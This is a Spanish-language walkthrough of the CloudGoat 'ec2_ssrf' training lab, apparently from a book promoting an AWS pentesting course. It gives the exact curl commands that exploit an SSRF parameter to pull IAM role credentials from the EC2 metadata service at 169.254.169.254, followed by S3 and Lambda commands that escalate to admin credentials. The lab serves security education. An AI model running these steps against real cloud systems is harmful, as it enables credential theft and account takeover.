Abusando del servicio de metadatos IMDSv1 por medio de un SSRF

¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el CPNA - Curso Profesional de Pentesting Contra AWS. No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.

En este escenario comenzaremos con el usuario SOLUS que tiene bajos privilegios y luego de una enumeración sobre la infraestructura, lograremos identificar un aplicativo web que está alojado en un EC2 vulnerable a ataques SSRF. Luego de aprovechar esta vulnerabilidad, lograremos comprometer unas credenciales de acceso por medio del servicio de metadatos.

Primero, debemos desplegar el escenario con el siguiente comando:

./cloudgoat.py create ec2_ssrf

Luego de que finalice el despliegue del laboratorio, nos retornara lo siguiente:

En la evidencia previa, podemos apreciar las credenciales de acceso para el usuario llamado Solus.

A partir de este momento, estaremos trabajando con el usuario solus-ec2_ssrf_cgidysznrzllxi.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile solus

El token se especificará dentro del archivo plano de credenciales.

aws sts get-caller-identity --profile solus

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name solus-ec2_ssrf_cgidysznrzllxi --profile solus

Vamos a listar las políticas para el usuario que será auditado:

aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidysznrzllxi

Obteniendo información relevante para nuestra auditoria, es utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/cg-solus-policy-ec2_ssrf_cgidysznrzllxi --version-id v1

Luego de identificar los permisos para el usuario Solus, ya podemos iniciar la auditoria de seguridad.

Vamos a enfocarnos en realizar una enumeración básica sobre el servicio de lambda.

Comenzamos con listando las funciones de lambda disponibles con el siguiente comando:

aws lambda list-functions --profile solus

Hemos identificado en las variables de entorno, unas credenciales de acceso aparentemente para un EC2.

Enlace de referencia:

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile lambda
aws sts get-caller-identity --profile lambda

En este punto, podríamos lanzar un enumerate-iam para identificar los permisos para este nuevo usuario desconocido.

Teniendo en cuenta el nombre del usuario (wrex-ec2_ssrf_cgidysznrzllxi), podríamos decir que probablemente tenga privilegios en el servicio de EC2.

Así que vamos a ejecutar el siguiente comando para listar las instancias:

aws ec2 describe-instances --profile lambda

Logramos identificar una instancia corriendo.

Vamos a realizar un escaneo de puertos y servicios sobre el PublicDnsName de la instancia previamente identificada.

nmap -sV ec2-3-87-227-98.compute-1.amazonaws.com

En la evidencia previa, podemos apreciar el puerto 80 con el servicio HTTP.

Por lo anterior, vamos a intentar realizar una petición GET sobre el portal web.

curl http://ec2-3-87-227-98.compute-1.amazonaws.com

En este punto podríamos afirmar que el aplicativo cuenta con una vulnerabilidad de criticidad baja ya que está divulgando información sensible debido a una mala gestión de errores.

En el error podemos apreciar que se está utilizando tecnología de NodeJS y también se evidencia que es necesario especificar un parámetro llamado URL.

Por lo anterior, vamos a concatenarle a la URL el parámetro solicitado:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=

Luego de lo anterior, podemos apreciar que el aplicativo retorna un HTML con un mensaje totalmente diferente.

¿Qué es SSRF?

La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no deseada.

Enlace de referencia:

Vamos a validar si este sitio es vulnerable a ataques de SSRF por medio del parámetro URL:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=www.google.com

En la evidencia previa, podemos apreciar que el código HTML del sitio www.google.com fue añadido a nuestro portal web que está alojado en la instancia y esto quiere decir que efectivamente existe la vulnerabilidad SSRF sobre la EC2.

Ahora vamos a aprovecharnos de esta vulnerabilidad y vamos a realizar una petición sobre el servicio de metadatos de la instancia.

Los metadatos de instancia son datos sobre una instancia que se pueden utilizar para configurar o administrar la instancia en ejecución. Los metadatos de instancia se dividen en categorías, como, por ejemplo, nombre de host, eventos y grupos de seguridad.

Enlace de referencia:

El servicio de metadatos de una EC2 puede ser consumido por medio del siguiente enlace: http://169.254.169.254/latest/meta-data/

Cabe resaltar, que el servicio de metadatos solo puede ser accedido desde dentro de la instancia.

Teniendo en cuenta lo anterior, vamos a aprovecharnos de la vulnerabilidad SSRF para comunicarnos con el servicio de metadatos:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/

Teniendo en cuenta la evidencia previa, podemos afirmar que hemos explotado con éxito el SSRF contra el servicio de metadatos.

Ahora vamos a consumir el siguiente endpoint del servicio de metadatos encargado de retornar credenciales de acceso:

curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidysznrzllxi 

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile ec2

El token se especificará dentro del archivo plano de credenciales.

aws sts get-caller-identity --profile ec2

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando Enumerate-IAM.py

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo rol comprometido son:

Uno de los permisos para este nuevo rol comprometido es el control total sobre el servicio de S3.

Vamos a realizar una enumeración sobre los Buckets con el objetivo de identificar información sensible dentro de ellos:

aws s3 ls --profile ec2

Luego de listar el servicio de s3, podemos apreciar un Bucket.

Vamos a listar el contenido de dicho Bucket:

aws s3 ls s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi --profile ec2

Ahora hemos identificado un archivo de formato TXT.

Como tenemos control total sobre los Buckets, lo ideal sería descargar este archivo y visualizar su contenido.

aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi/admin-user.txt ./ --profile ec2

Luego de descargar el archivo alojado en el Bucket, podemos visualizar que contiene otras credenciales.

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile end
aws sts get-caller-identity --profile end

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando Enumerate-IAM.py

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo usuario comprometido son:

Como podemos apreciar este usuario tiene la posibilidad de invocar funciones de lambda.

Por lo anterior, vamos a listar las funciones actuales de lambda:

aws lambda list-functions --profile end
aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidysznrzllxi ./out.txt --profile end

En la evidencia previa, podemos apreciar que este desafio a llegado a su fin y esto es debido al mensaje que nos ha retornado la invocación de la lambda.

Última actualización